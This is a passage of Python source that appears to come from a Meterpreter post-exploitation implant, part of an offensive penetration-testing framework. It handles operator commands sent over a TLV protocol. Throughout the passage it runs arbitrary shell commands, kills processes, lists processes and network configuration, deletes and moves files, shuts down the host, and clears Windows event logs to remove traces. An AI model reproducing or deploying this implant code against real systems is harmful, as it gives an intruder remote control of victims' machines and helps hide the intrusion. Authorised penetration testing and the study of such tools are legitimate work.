if not meterpreter.close_channel(proc_h_id):
|
|
return ERROR_FAILURE, response
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function
|
|
def stdapi_sys_process_execute(request, response):
|
|
cmd = packet_get_tlv(request, TLV_TYPE_PROCESS_PATH)['value']
|
|
raw_args = packet_get_tlv(request, TLV_TYPE_PROCESS_ARGUMENTS)
|
|
if raw_args:
|
|
raw_args = raw_args['value']
|
|
else:
|
|
raw_args = ""
|
|
flags = packet_get_tlv(request, TLV_TYPE_PROCESS_FLAGS)['value']
|
|
if len(cmd) == 0:
|
|
return ERROR_FAILURE, response
|
|
if os.path.isfile('/bin/sh') and (flags & PROCESS_EXECUTE_FLAG_SUBSHELL):
|
|
if raw_args:
|
|
cmd = cmd + ' ' + raw_args
|
|
args = ['/bin/sh', '-c', cmd]
|
|
else:
|
|
args = [cmd]
|
|
args.extend(shlex.split(raw_args))
|
|
|
|
if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED):
|
|
if has_pty and (flags & PROCESS_EXECUTE_FLAG_PTY):
|
|
master, slave = pty.openpty()
|
|
if has_termios:
|
|
try:
|
|
settings = termios.tcgetattr(master)
|
|
termios.tcsetattr(master, termios.TCSADRAIN, settings)
|
|
except:
|
|
pass
|
|
proc_h = STDProcess(args, stdin=slave, stdout=slave, stderr=slave, bufsize=0, preexec_fn=os.setsid)
|
|
proc_h.stdin = os.fdopen(master, 'wb')
|
|
proc_h.stdout = os.fdopen(master, 'rb')
|
|
proc_h.stderr = open(os.devnull, 'rb')
|
|
proc_h.ptyfd = slave
|
|
else:
|
|
proc_h = STDProcess(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
|
proc_h.echo_protection = True
|
|
proc_h.start()
|
|
else:
|
|
proc_h = subprocess.Popen(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
|
proc_h_id = meterpreter.add_process(proc_h)
|
|
response += tlv_pack(TLV_TYPE_PID, proc_h.pid)
|
|
response += tlv_pack(TLV_TYPE_PROCESS_HANDLE, proc_h_id)
|
|
if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED):
|
|
channel_id = meterpreter.add_channel(MeterpreterProcess(proc_h))
|
|
response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function
|
|
def stdapi_sys_process_getpid(request, response):
|
|
response += tlv_pack(TLV_TYPE_PID, os.getpid())
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function
|
|
def stdapi_sys_process_kill(request, response):
|
|
for pid in packet_enum_tlvs(request, TLV_TYPE_PID):
|
|
pid = pid['value']
|
|
if has_windll:
|
|
k32 = ctypes.windll.kernel32
|
|
proc_h = k32.OpenProcess(PROCESS_TERMINATE, False, pid)
|
|
if not proc_h:
|
|
return error_result_windows(), response
|
|
if not k32.TerminateProcess(proc_h, 0):
|
|
return error_result_windows(), response
|
|
elif hasattr(os, 'kill'):
|
|
os.kill(pid, 9)
|
|
else:
|
|
return ERROR_FAILURE, response
|
|
return ERROR_SUCCESS, response
|
|
|
|
def stdapi_sys_process_get_processes_via_proc(request, response):
|
|
for pid in os.listdir('/proc'):
|
|
pgroup = bytes()
|
|
if not os.path.isdir(os.path.join('/proc', pid)) or not pid.isdigit():
|
|
continue
|
|
cmdline_file = open(os.path.join('/proc', pid, 'cmdline'), 'rb')
|
|
cmd = str(cmdline_file.read(512).replace(NULL_BYTE, bytes(' ', 'UTF-8')))
|
|
status_data = str(open(os.path.join('/proc', pid, 'status'), 'rb').read())
|
|
status_data = map(lambda x: x.split('\t',1), status_data.split('\n'))
|
|
status = {}
|
|
for k, v in filter(lambda x: len(x) == 2, status_data):
|
|
status[k[:-1]] = v.strip()
|
|
ppid = status.get('PPid')
|
|
uid = status.get('Uid').split('\t', 1)[0]
|
|
if has_pwd:
|
|
uid = pwd.getpwuid(int(uid)).pw_name
|
|
if cmd:
|
|
pname = os.path.basename(cmd.split(' ', 1)[0])
|
|
ppath = cmd
|
|
else:
|
|
pname = '[' + status['Name'] + ']'
|
|
ppath = ''
|
|
pgroup += tlv_pack(TLV_TYPE_PID, int(pid))
|
|
if ppid:
|
|
pgroup += tlv_pack(TLV_TYPE_PARENT_PID, int(ppid))
|
|
pgroup += tlv_pack(TLV_TYPE_USER_NAME, uid)
|
|
pgroup += tlv_pack(TLV_TYPE_PROCESS_NAME, pname)
|
|
pgroup += tlv_pack(TLV_TYPE_PROCESS_PATH, ppath)
|
|
response += tlv_pack(TLV_TYPE_PROCESS_GROUP, pgroup)
|
|
return ERROR_SUCCESS, response
|
|
|
|
def stdapi_sys_process_get_processes_via_ps(request, response):
|
|
ps_args = ['ps', 'ax', '-w', '-o', 'pid,ppid,user,command']
|
|
proc_h = subprocess.Popen(ps_args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
|
ps_output = str(proc_h.stdout.read())
|
|
ps_output = ps_output.split('\n')
|
|
ps_output.pop(0)
|
|
for process in ps_output:
|
|
process = process.split()
|
|
if len(process) < 4:
|
|
break
|
|
pgroup = bytes()
|
|
pgroup += tlv_pack(TLV_TYPE_PID, int(process[0]))
|
|
pgroup += tlv_pack(TLV_TYPE_PARENT_PID, int(process[1]))
|
|
pgroup += tlv_pack(TLV_TYPE_USER_NAME, process[2])
|
|
pgroup += tlv_pack(TLV_TYPE_PROCESS_NAME, os.path.basename(process[3]))
|
|
pgroup += tlv_pack(TLV_TYPE_PROCESS_PATH, ' '.join(process[3:]))
|
|
response += tlv_pack(TLV_TYPE_PROCESS_GROUP, pgroup)
|
|
return ERROR_SUCCESS, response
|
|
|
|
def stdapi_sys_process_get_processes_via_windll(request, response):
|
|
TH32CS_SNAPPROCESS = 2
|
|
TOKEN_QUERY = 0x0008
|
|
TokenUser = 1
|
|
k32 = ctypes.windll.kernel32
|
|
pe32 = PROCESSENTRY32()
|
|
pe32.dwSize = ctypes.sizeof(PROCESSENTRY32)
|
|
proc_snap = k32.CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
|
|
result = k32.Process32First(proc_snap, ctypes.byref(pe32))
|
|
if not result:
|
|
return error_result_windows(), response
|
|
while result:
|
|
proc_h = k32.OpenProcess((PROCESS_QUERY_INFORMATION | PROCESS_VM_READ), False, pe32.th32ProcessID)
|
|
if not proc_h:
|
|
proc_h = k32.OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, False, pe32.th32ProcessID)
|
|
exe_path = (ctypes.c_char * 1024)()
|
|
success = False
|
|
if hasattr(ctypes.windll.psapi, 'GetModuleFileNameExA'):
|
|
success = ctypes.windll.psapi.GetModuleFileNameExA(proc_h, 0, exe_path, ctypes.sizeof(exe_path))
|
|
elif hasattr(k32, 'GetModuleFileNameExA'):
|
|
success = k32.GetModuleFileNameExA(proc_h, 0, exe_path, ctypes.sizeof(exe_path))
|
|
if not success and hasattr(k32, 'QueryFullProcessImageNameA'):
|
|
dw_sz = ctypes.c_uint32()
|
|
dw_sz.value = ctypes.sizeof(exe_path)
|
|
success = k32.QueryFullProcessImageNameA(proc_h, 0, exe_path, ctypes.byref(dw_sz))
|
|
if not success and hasattr(ctypes.windll.psapi, 'GetProcessImageFileNameA'):
|
|
success = ctypes.windll.psapi.GetProcessImageFileNameA(proc_h, exe_path, ctypes.sizeof(exe_path))
|
|
if success:
|
|
exe_path = ctypes.string_at(exe_path)
|
|
else:
|
|
exe_path = ''
|
|
process_username = ''
|
|
process_token_user = get_token_user(proc_h)
|
|
if process_token_user:
|
|
process_username = get_username_from_token(process_token_user) or ''
|
|
parch = windll_GetNativeSystemInfo()
|
|
is_wow64 = ctypes.c_ubyte()
|
|
is_wow64.value = 0
|
|
if hasattr(k32, 'IsWow64Process'):
|
|
if k32.IsWow64Process(proc_h, ctypes.byref(is_wow64)):
|
|
if is_wow64.value:
|
|
parch = PROCESS_ARCH_X86
|
|
pgroup = bytes()
|
|
pgroup += tlv_pack(TLV_TYPE_PID, pe32.th32ProcessID)
|
|
pgroup += tlv_pack(TLV_TYPE_PARENT_PID, pe32.th32ParentProcessID)
|
|
pgroup += tlv_pack(TLV_TYPE_USER_NAME, process_username)
|
|
pgroup += tlv_pack(TLV_TYPE_PROCESS_NAME, pe32.szExeFile)
|
|
pgroup += tlv_pack(TLV_TYPE_PROCESS_PATH, exe_path)
|
|
pgroup += tlv_pack(TLV_TYPE_PROCESS_ARCH, parch)
|
|
response += tlv_pack(TLV_TYPE_PROCESS_GROUP, pgroup)
|
|
result = k32.Process32Next(proc_snap, ctypes.byref(pe32))
|
|
k32.CloseHandle(proc_h)
|
|
k32.CloseHandle(proc_snap)
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function
|
|
def stdapi_sys_process_get_processes(request, response):
|
|
if os.path.isdir('/proc'):
|
|
return stdapi_sys_process_get_processes_via_proc(request, response)
|
|
elif has_windll:
|
|
return stdapi_sys_process_get_processes_via_windll(request, response)
|
|
else:
|
|
return stdapi_sys_process_get_processes_via_ps(request, response)
|
|
return ERROR_FAILURE, response
|
|
|
|
@register_function_if(has_windll)
|
|
def stdapi_sys_power_exitwindows(request, response):
|
|
SE_SHUTDOWN_NAME = "SeShutdownPrivilege"
|
|
|
|
flags = packet_get_tlv(request, TLV_TYPE_POWER_FLAGS)['value']
|
|
reason = packet_get_tlv(request, TLV_TYPE_POWER_REASON)['value']
|
|
|
|
if not enable_privilege(SE_SHUTDOWN_NAME):
|
|
return error_result_windows(), response
|
|
|
|
ExitWindowsEx = ctypes.windll.user32.ExitWindowsEx
|
|
ExitWindowsEx.argtypes = [ctypes.c_uint32, ctypes.c_ulong]
|
|
ExitWindowsEx.restype = ctypes.c_int8
|
|
if not ExitWindowsEx(flags, reason):
|
|
return error_result_windows(), response
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function_if(has_windll)
|
|
def stdapi_sys_eventlog_open(request, response):
|
|
source_name = packet_get_tlv(request, TLV_TYPE_EVENT_SOURCENAME)['value']
|
|
handle = ctypes.windll.advapi32.OpenEventLogW(None, source_name)
|
|
if not handle:
|
|
return error_result_windows(), response
|
|
response += tlv_pack(TLV_TYPE_EVENT_HANDLE, handle)
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function_if(has_windll)
|
|
def stdapi_sys_eventlog_read(request, response):
|
|
handle = packet_get_tlv(request, TLV_TYPE_EVENT_HANDLE)['value']
|
|
flags = packet_get_tlv(request, TLV_TYPE_EVENT_READFLAGS)['value']
|
|
offset = packet_get_tlv(request, TLV_TYPE_EVENT_RECORDOFFSET)['value']
|
|
adv32 = ctypes.windll.advapi32
|
|
bytes_read = ctypes.c_ulong(0)
|
|
bytes_needed = ctypes.c_ulong(0)
|
|
if adv32.ReadEventLogW(handle, flags, offset, ctypes.byref(bytes_read), 0, ctypes.byref(bytes_read), ctypes.byref(bytes_needed)):
|
|
return error_result_windows(), response
|
|
buf = ctypes.create_unicode_buffer(bytes_needed.value)
|
|
if not adv32.ReadEventLogW(handle, flags, offset, buf, bytes_needed, ctypes.byref(bytes_read), ctypes.byref(bytes_needed)):
|
|
return error_result_windows(), response
|
|
record = ctstruct_unpack(EVENTLOGRECORD, buf)
|
|
response += tlv_pack(TLV_TYPE_EVENT_RECORDNUMBER, record.RecordNumber)
|
|
response += tlv_pack(TLV_TYPE_EVENT_TIMEGENERATED, record.TimeGenerated)
|
|
response += tlv_pack(TLV_TYPE_EVENT_TIMEWRITTEN, record.TimeWritten)
|
|
response += tlv_pack(TLV_TYPE_EVENT_ID, record.EventID)
|
|
response += tlv_pack(TLV_TYPE_EVENT_TYPE, record.EventType)
|
|
response += tlv_pack(TLV_TYPE_EVENT_CATEGORY, record.EventCategory)
|
|
response += tlv_pack(TLV_TYPE_EVENT_DATA, buf.raw[record.DataOffset:record.DataOffset + record.DataLength])
|
|
event_strings = buf.raw[record.StringOffset:].split('\x00', record.NumStrings)
|
|
for event_string in event_strings:
|
|
response += tlv_pack(TLV_TYPE_EVENT_STRING, event_string)
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function_if(has_windll)
|
|
def stdapi_sys_eventlog_clear(request, response):
|
|
handle = packet_get_tlv(request, TLV_TYPE_EVENT_HANDLE)['value']
|
|
if not ctypes.windll.advapi32.ClearEventLogW(handle, None):
|
|
return error_result_windows(), response
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function_if(has_windll)
|
|
def stdapi_sys_eventlog_numrecords(request, response):
|
|
handle = packet_get_tlv(request, TLV_TYPE_EVENT_HANDLE)['value']
|
|
total = ctypes.c_ulong(0)
|
|
if not ctypes.windll.advapi32.GetNumberOfEventLogRecords(handle, ctypes.byref(total)):
|
|
return error_result_windows(), response
|
|
response += tlv_pack(TLV_TYPE_EVENT_NUMRECORDS, total.value)
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function_if(has_windll)
|
|
def stdapi_sys_eventlog_oldest(request, response):
|
|
handle = packet_get_tlv(request, TLV_TYPE_EVENT_HANDLE)['value']
|
|
oldest = ctypes.c_ulong(0)
|
|
if not ctypes.windll.advapi32.GetOldestEventLogRecordW(handle, ctypes.byref(oldest)):
|
|
return error_result_windows(), response
|
|
response += tlv_pack(TLV_TYPE_EVENT_RECORDNUMBER, oldest)
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function_if(has_windll)
|
|
def stdapi_sys_eventlog_close(request, response):
|
|
handle = packet_get_tlv(request, TLV_TYPE_EVENT_HANDLE)['value']
|
|
if not ctypes.windll.advapi32.CloseEventLogW(handle):
|
|
return error_result_windows(), response
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function
|
|
def stdapi_fs_chdir(request, response):
|
|
wd = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
|
|
os.chdir(unicode(wd))
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function
|
|
def stdapi_fs_delete_dir(request, response):
|
|
dir_path = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
|
|
dir_path = unicode(dir_path)
|
|
if os.path.islink(dir_path):
|
|
del_func = os.unlink
|
|
else:
|
|
del_func = shutil.rmtree
|
|
try:
|
|
del_func(dir_path)
|
|
except OSError:
|
|
return ERROR_FAILURE, response
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function
|
|
def stdapi_fs_delete_file(request, response):
|
|
file_path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
|
if has_windll:
|
|
subprocess.call(unicode("attrib.exe -r ") + file_path)
|
|
try:
|
|
os.unlink(unicode(file_path))
|
|
except OSError:
|
|
return ERROR_FAILURE, response
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function
|
|
def stdapi_fs_file_expand_path(request, response):
|
|
path_tlv = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
|
if has_windll:
|
|
path_tlv = ctypes.create_string_buffer(bytes(path_tlv, 'UTF-8'))
|
|
path_out = (ctypes.c_char * 4096)()
|
|
path_out_len = ctypes.windll.kernel32.ExpandEnvironmentStringsA(ctypes.byref(path_tlv), ctypes.byref(path_out), ctypes.sizeof(path_out))
|
|
result = str(ctypes.string_at(path_out))
|
|
elif path_tlv == '%COMSPEC%':
|
|
result = '/bin/sh'
|
|
elif path_tlv in ['%TEMP%', '%TMP%']:
|
|
result = '/tmp'
|
|
else:
|
|
result = os.getenv(path_tlv, path_tlv)
|
|
if not result:
|
|
return ERROR_FAILURE, response
|
|
response += tlv_pack(TLV_TYPE_FILE_PATH, result)
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function
|
|
def stdapi_fs_file_move(request, response):
|
|
oldname = packet_get_tlv(request, TLV_TYPE_FILE_NAME)['value']
|
|
newname = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
|
os.rename(unicode(oldname), unicode(newname))
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function
|
|
def stdapi_fs_file_copy(request, response):
|
|
oldname = packet_get_tlv(request, TLV_TYPE_FILE_NAME)['value']
|
|
newname = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
|
shutil.copyfile(unicode(oldname), unicode(newname))
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function_if(sys.platform == 'darwin' or sys.platform.startswith('linux'))
|
|
def stdapi_fs_chmod(request, response):
|
|
path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
|
mode = packet_get_tlv(request, TLV_TYPE_FILE_MODE_T)['value']
|
|
os.chmod(unicode(path), mode)
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function
|
|
def stdapi_fs_getwd(request, response):
|
|
if hasattr(os, 'getcwdu'):
|
|
wd = os.getcwdu()
|
|
else:
|
|
wd = os.getcwd()
|
|
response += tlv_pack(TLV_TYPE_DIRECTORY_PATH, wd)
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function
|
|
def stdapi_fs_ls(request, response):
|
|
path = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
|
|
path = os.path.abspath(unicode(path))
|
|
glob = '*'
|
|
if any((c in ['*','[','?']) for c in path):
|
|
glob = os.path.basename(path)
|
|
path = os.path.dirname(path)
|
|
for file_name in filter(lambda f: fnmatch.fnmatch(f, glob), os.listdir(path)):
|
|
file_path = os.path.join(path, file_name)
|
|
response += tlv_pack(TLV_TYPE_FILE_NAME, file_name)
|
|
response += tlv_pack(TLV_TYPE_FILE_PATH, file_path)
|
|
try:
|
|
st_buf = get_stat_buffer(file_path)
|
|
except OSError:
|
|
st_buf = bytes()
|
|
response += tlv_pack(TLV_TYPE_STAT_BUF, st_buf)
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function
|
|
def stdapi_fs_md5(request, response):
|
|
try:
|
|
import hashlib
|
|
m = hashlib.md5()
|
|
except ImportError:
|
|
import md5
|
|
m = md5.new()
|
|
path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
|
m.update(open(path, 'rb').read())
|
|
response += tlv_pack(TLV_TYPE_FILE_HASH, m.digest())
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function
|
|
def stdapi_fs_mkdir(request, response):
|
|
dir_path = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
|
|
dir_path = unicode(dir_path)
|
|
if not os.path.isdir(dir_path):
|
|
os.mkdir(dir_path)
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function
|
|
def stdapi_fs_search(request, response):
|
|
search_root = packet_get_tlv(request, TLV_TYPE_SEARCH_ROOT).get('value', '.')
|
|
if not search_root: # sometimes it's an empty string
|
|
search_root = '.'
|
|
search_root = unicode(search_root)
|
|
glob = packet_get_tlv(request, TLV_TYPE_SEARCH_GLOB)['value']
|
|
recurse = packet_get_tlv(request, TLV_TYPE_SEARCH_RECURSE)['value']
|
|
start_date = packet_get_tlv(request,TLV_TYPE_SEARCH_M_START_DATE)
|
|
end_date = packet_get_tlv(request,TLV_TYPE_SEARCH_M_END_DATE)
|
|
if recurse:
|
|
for root, dirs, files in os.walk(search_root):
|
|
for f in filter(lambda f: fnmatch.fnmatch(f, glob), files):
|
|
file_stat = os.stat(os.path.join(root, f))
|
|
mtime = int(file_stat.st_mtime)
|
|
if start_date and start_date['value'] > mtime:
|
|
continue
|
|
if end_date and end_date['value'] < mtime:
|
|
continue
|
|
file_tlv = bytes()
|
|
file_tlv += tlv_pack(TLV_TYPE_FILE_PATH, root)
|
|
file_tlv += tlv_pack(TLV_TYPE_FILE_NAME, f)
|
|
file_tlv += tlv_pack(TLV_TYPE_FILE_SIZE, file_stat.st_size)
|
|
file_tlv += tlv_pack(TLV_TYPE_SEARCH_MTIME, mtime)
|
|
response += tlv_pack(TLV_TYPE_SEARCH_RESULTS, file_tlv)
|
|
else:
|
|
for f in filter(lambda f: fnmatch.fnmatch(f, glob), os.listdir(search_root)):
|
|
file_stat = os.stat(os.path.join(search_root, f))
|
|
mtime = int(file_stat.st_mtime)
|
|
if start_date and start_date['value'] > mtime:
|
|
continue
|
|
if end_date and end_date['value'] < mtime:
|
|
continue
|
|
file_tlv = bytes()
|
|
file_tlv += tlv_pack(TLV_TYPE_FILE_PATH, search_root)
|
|
file_tlv += tlv_pack(TLV_TYPE_FILE_NAME, f)
|
|
file_tlv += tlv_pack(TLV_TYPE_FILE_SIZE, file_stat.st_size)
|
|
file_tlv += tlv_pack(TLV_TYPE_SEARCH_MTIME, mtime)
|
|
response += tlv_pack(TLV_TYPE_SEARCH_RESULTS, file_tlv)
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function
|
|
def stdapi_fs_separator(request, response):
|
|
response += tlv_pack(TLV_TYPE_STRING, os.sep)
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function
|
|
def stdapi_fs_sha1(request, response):
|
|
try:
|
|
import hashlib
|
|
m = hashlib.sha1()
|
|
except ImportError:
|
|
import sha
|
|
m = sha.new()
|
|
path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
|
m.update(open(path, 'rb').read())
|
|
response += tlv_pack(TLV_TYPE_FILE_HASH, m.digest())
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function
|
|
def stdapi_fs_stat(request, response):
|
|
path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
|
st_buf = get_stat_buffer(unicode(path))
|
|
response += tlv_pack(TLV_TYPE_STAT_BUF, st_buf)
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function_if(has_windll)
|
|
def stdapi_fs_mount_show(request, response):
|
|
letters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
|
|
k32 = ctypes.windll.kernel32
|
|
mpr = ctypes.windll.mpr
|
|
# Retrieves a bitmask representing the currently available disk drives
|
|
bitmask = k32.GetLogicalDrives()
|
|
# List of currently available disk drives
|
|
drives = []
|
|
for drive_letter in letters:
|
|
# Check if drive is present
|
|
if bitmask & 1:
|
|
drives.append(drive_letter + ':')
|
|
# Move to next drive letter
|
|
bitmask >>= 1
|
|
for drive in drives:
|
|
drive_type = k32.GetDriveTypeW(drive)
|
|
mount = bytes()
|
|
mount += tlv_pack(TLV_TYPE_MOUNT_NAME, drive)
|
|
mount += tlv_pack(TLV_TYPE_MOUNT_TYPE, drive_type)
|
|
# Get UNC path for network drives
|
|
if drive_type == DRIVE_REMOTE:
|
|
buf = ctypes.create_unicode_buffer(1024)
|
|
bufsize = ctypes.c_ulong(1024)
|
|
if mpr.WNetGetUniversalNameW(drive, UNIVERSAL_NAME_INFO_LEVEL, ctypes.byref(buf), ctypes.byref(bufsize)) == 0:
|
|
pUniversalNameInfo = ctstruct_unpack(UNIVERSAL_NAME_INFO, buf)
|
|
mount += tlv_pack(TLV_TYPE_MOUNT_UNCPATH, pUniversalNameInfo.lpUniversalName)
|
|
# Retrieve information about the amount of space that is available on a disk volume
|
|
user_free_bytes = ctypes.c_ulonglong(0)
|
|
total_bytes = ctypes.c_ulonglong(0)
|
|
total_free_bytes = ctypes.c_ulonglong(0)
|
|
if k32.GetDiskFreeSpaceExW(drive, ctypes.byref(user_free_bytes), ctypes.byref(total_bytes), ctypes.byref(total_free_bytes)):
|
|
mount += tlv_pack(TLV_TYPE_MOUNT_SPACE_USER, user_free_bytes.value)
|
|
mount += tlv_pack(TLV_TYPE_MOUNT_SPACE_TOTAL, total_bytes.value)
|
|
mount += tlv_pack(TLV_TYPE_MOUNT_SPACE_FREE, total_free_bytes.value)
|
|
response += tlv_pack(TLV_TYPE_MOUNT_GROUP, mount)
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function_if(has_windll)
|
|
def stdapi_net_config_get_arp_table(request, response):
|
|
MIB_IPNET_TYPE_DYNAMIC = 3
|
|
MIB_IPNET_TYPE_STATIC = 4
|
|
|
|
GetIpNetTable = ctypes.windll.iphlpapi.GetIpNetTable
|
|
GetIpNetTable.argtypes = [ctypes.c_void_p, ctypes.POINTER(ctypes.c_ulong), ctypes.c_long]
|
|
GetIpNetTable.restype = ctypes.c_ulong
|
|
|
|
ipnet_table = None
|
|
size = ctypes.c_ulong(0)
|
|
result = GetIpNetTable(ipnet_table, size, False)
|
|
|
|
if result == ERROR_INSUFFICIENT_BUFFER:
|
|
ipnet_table = ctypes.cast(ctypes.create_string_buffer(b'', size.value), ctypes.c_void_p)
|
|
|
|
elif result != ERROR_SUCCESS and result != ERROR_NO_DATA:
|
|
return error_result_windows(result), response
|
|
|
|
if not ipnet_table:
|
|
return error_result_windows(), response
|
|
|
|
result = GetIpNetTable(ipnet_table, size, False)
|
|
if result != ERROR_SUCCESS:
|
|
return error_result_windows(result), response
|
|
|
|
class MIB_IPNETTABLE(ctypes.Structure):
|
|
_fields_ = [
|
|
('dwNumEntries', ctypes.c_uint32),
|
|
('table', MIB_IPNETROW * ctypes.cast(ipnet_table.value, ctypes.POINTER(ctypes.c_ulong)).contents.value)
|
|
]
|
|
|
|
ipnet_table = ctypes.cast(ipnet_table, ctypes.POINTER(MIB_IPNETTABLE))
|
|
for ipnet_row in ipnet_table.contents.table:
|
|
if (ipnet_row.dwType != MIB_IPNET_TYPE_DYNAMIC and ipnet_row.dwType != MIB_IPNET_TYPE_STATIC):
|
|
continue
|
|
arp_tlv = bytes()
|
|
arp_tlv += tlv_pack(TLV_TYPE_IP, struct.pack('<L', ipnet_row.dwAddr))
|
|
arp_tlv += tlv_pack(TLV_TYPE_MAC_ADDRESS, bytes(ipnet_row.bPhysAddr)[:ipnet_row.dwPhysAddrLen])
|
|
arp_tlv += tlv_pack(TLV_TYPE_MAC_NAME, str(ipnet_row.dwIndex))
|
|
response += tlv_pack(TLV_TYPE_ARP_ENTRY, arp_tlv)
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function
|
|
def stdapi_net_config_get_interfaces(request, response):
|
|
if hasattr(socket, 'AF_NETLINK') and hasattr(socket, 'NETLINK_ROUTE'):
|
|
interfaces = stdapi_net_config_get_interfaces_via_netlink()
|
|
elif sys.platform == 'darwin':
|
|
interfaces = stdapi_net_config_get_interfaces_via_osx_ifconfig()
|
|
elif has_windll:
|
|
interfaces = stdapi_net_config_get_interfaces_via_windll()
|
|
else:
|
|
return ERROR_FAILURE, response
|
|
for iface_info in interfaces:
|
|
iface_tlv = bytes()
|
|
iface_tlv += tlv_pack(TLV_TYPE_MAC_NAME, iface_info.get('name', 'Unknown'))
|
|
iface_tlv += tlv_pack(TLV_TYPE_MAC_ADDRESS, iface_info.get('hw_addr', '\x00\x00\x00\x00\x00\x00'))
|
|
if 'mtu' in iface_info:
|
|
iface_tlv += tlv_pack(TLV_TYPE_INTERFACE_MTU, iface_info['mtu'])
|
|
if 'flags' in iface_info:
|
|
iface_tlv += tlv_pack(TLV_TYPE_INTERFACE_FLAGS, iface_info['flags'])
|
|
iface_tlv += tlv_pack(TLV_TYPE_INTERFACE_INDEX, iface_info['index'])
|
|
for address in iface_info.get('addrs', []):
|
|
iface_tlv += tlv_pack(TLV_TYPE_IP, address[1])
|
|
if isinstance(address[2], (int, long)):
|
|
iface_tlv += tlv_pack(TLV_TYPE_IP_PREFIX, address[2])
|
|
else:
|
|
iface_tlv += tlv_pack(TLV_TYPE_NETMASK, address[2])
|
|
response += tlv_pack(TLV_TYPE_NETWORK_INTERFACE, iface_tlv)
|
|
return ERROR_SUCCESS, response
|
|
|
|
def stdapi_net_config_get_interfaces_via_netlink():
|
|
rta_align = lambda l: l+3 & ~3
|
|
iface_flags = {
|
|
0x0001: 'UP',
|
|
0x0002: 'BROADCAST',
|
|
0x0008: 'LOOPBACK',
|
|
0x0010: 'POINTTOPOINT',
|
|
0x0040: 'RUNNING',
|
|
0x0100: 'PROMISC',
|
|
0x1000: 'MULTICAST'
|
|
}
|
|
iface_flags_sorted = list(iface_flags.keys())
|
|
# Dictionaries don't maintain order
|
|
iface_flags_sorted.sort()
|
|
interfaces = {}
|
|
|
|
responses = netlink_request(RTM_GETLINK, IFINFOMSG())
|
|
for res_data in responses:
|
|
iface = ctstruct_unpack(IFINFOMSG, res_data)
|
|
iface_info = {'index':iface.index}
|
|
flags = []
|
|
for flag in iface_flags_sorted:
|
|
if (iface.flags & flag):
|
|
flags.append(iface_flags[flag])
|
|
iface_info['flags'] = ' '.join(flags)
|
|
cursor = ctypes.sizeof(IFINFOMSG)
|
|
while cursor < len(res_data):
|
|
attribute = ctstruct_unpack(RTATTR, res_data[cursor:])
|
|
at_len = attribute.len
|
|
attr_data = res_data[cursor + ctypes.sizeof(RTATTR):(cursor + at_len)]
|
|
cursor += rta_align(at_len)
|
|
|
|
if attribute.type == IFLA_ADDRESS:
|
|
iface_info['hw_addr'] = attr_data
|
|
elif attribute.type == IFLA_IFNAME:
|
|
iface_info['name'] = attr_data
|
|
elif attribute.type == IFLA_MTU:
|
|
iface_info['mtu'] = struct.unpack('<I', attr_data)[0]
|
|
interfaces[iface.index] = iface_info
|
|
|
|
responses = netlink_request(RTM_GETADDR, IFADDRMSG())
|
|
for res_data in responses:
|
|
iface = ctstruct_unpack(IFADDRMSG, res_data)
|
|
if not iface.family in (socket.AF_INET, socket.AF_INET6):
|
|
continue
|
|
iface_info = interfaces.get(iface.index, {})
|
|
cursor = ctypes.sizeof(IFADDRMSG)
|
|
while cursor < len(res_data):
|
|
attribute = ctstruct_unpack(RTATTR, res_data[cursor:])
|
|
at_len = attribute.len
|
|
attr_data = res_data[cursor + ctypes.sizeof(RTATTR):(cursor + at_len)]
|
|
cursor += rta_align(at_len)
|
|
|
|
if attribute.type == IFA_ADDRESS:
|
|
nm_bits = iface.prefixlen
|
|
if iface.family == socket.AF_INET:
|
|
netmask = calculate_32bit_netmask(nm_bits)
|
|
else:
|
|
